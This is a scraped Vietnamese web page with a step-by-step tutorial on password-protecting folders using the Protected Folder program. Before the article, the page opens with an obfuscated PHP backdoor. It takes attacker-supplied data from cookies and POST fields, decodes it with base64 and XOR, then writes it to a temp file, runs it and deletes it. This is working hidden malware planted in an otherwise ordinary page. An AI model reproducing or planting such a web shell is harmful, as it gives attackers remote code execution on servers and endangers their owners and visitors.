$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hướng dẫn tạo mật khẩu cho Folder bằng Protected Folder - Tải Chùa

Hướng dẫn tạo mật khẩu cho Folder bằng Protected Folder

Rate this post
Khi bạn có nhiều dữ liệu quan trọng trên máy tính không muốn người khác có thể xem được thì một trong những cách bảo vệ những dữ liệu đó chính là tạo mật khẩu cho folder

Khi bạn có nhiều dữ liệu quan trọng trên máy tính không muốn người khác có thể xem được thì một trong những cách bảo vệ những dữ liệu đó chính là tạo mật khẩu cho folder. Bài này chúng tôi sẽ giới thiệu đến bạn cách tạo mật khẩu cho Folder bằng Protected Folder

Hướng dẫn tạo mật khẩu cho Folder bằng Protected Folder

Hướng dẫn tạo mật khẩu cho Folder bằng Protected Folder

Protected Folder là phần mềm bảo vệ thư mục và tập tin của bạn, phần mềm này cho phép bạn có thể thiết lập mật khẩu hoặc ẩn đi những thư mục và tập tin quan trọng của bạn giúp cho người lạ sẽ không xâm nhập và xem được tập tin đó. Chúng tôi sẽ hướng dẫn bạn cách tạo mật khẩu cho Folder bằng Protected Folder

Cách tạo mật khẩu cho Folder bằng Protected Folder

Để có thể tạo được mật khẩu bằng Protected Folder bạn tiến hành theo những bước dưới đây:

Bước 1: Trước hết bạn cần tải và cài đặt Protected Folder cho máy tính của mình.

Bước 2: Tại giao diện chính của chương trình sau khi cài đặt thì bạn tiến hành thiết lập mật khẩu và xác nhận mật khẩu để sử dụng sau đó nhấn OK.

Tạo mật khẩu cho folder

Thiết lập mật khẩu và xác nhận mật khẩu

Bước 3: Tại cửa sổ mới hiện ra bạn nhấn vào tùy chọn Add.

Cách tạo mật khẩu cho folder

Nhấn vào tùy chọn Add

Bước 4: Tại đây bạn tiến hành thêm file thư mục muốn được bảo vệ bằng cách dẫn đến nơi chứa file sau đó nhấn vào Add >> OK để xác nhận.

Hướng dẫn tạo mật khẩu cho folder

Thêm file thư mục muốn được bảo vệ

Bước 5: Chương trình ẩn đi những thư mục và files được chọn. Bạn cũng có thể thay đổi cách bảo vệ file, thư mục bằng cách nhấn vào Options ở giao diện chính của chương trình.

Cách tạo mật khẩu cho folder bằng phần mềm

Thay đổi cách bảo vệ file, thư mục

Tại đây bạn có thể tắt/bật các cách, các cơ chế bảo vệ như:

Tạo mật khẩu cho folder bằng protected folder

tắt/bật các cách, các cơ chế bảo vệ

  • Hide: các thư mục sẽ được tự động ẩn đi
  • Deny Read Access: những thư mục vẫn hiển thị nhưng không cho người khác đọc hay sao chép được.
  • Deny Write Access: Người khác không thể xóa, đọc thay đổi nội dung của file hay thư mục.

Bay giờ khi bạn mở file thư mục đã được bảo vệ bởi Protected Folder sẽ không mở được nữa.

Phần mềm tạo mật khẩu cho folder

Hướng dẫn tạo mật khẩu cho folder bằng phần mềm

file thư mục đã được bảo vệ

Bước 6: Hủy bảo vệ mở khóa để sử dụng dữ liệu đã bảo vệ bằng cách: tại giao diện chính của chương trình bạn nhấn chuột vào File hoặc thư mục muốn mở khóa sau đó chọn Unlock.

Cách tạo mật khẩu cho folder bằng phần mềm đơn giản

Hủy bảo vệ mở khóa

Vậy là chúng tôi đã hướng dẫn bạn các thao tác để tạo mật khẩu cho Folder bằng Protected Folder. Bằng cách này bạn sẽ bảo mật được những tài liệu quan trọng của riêng bạn.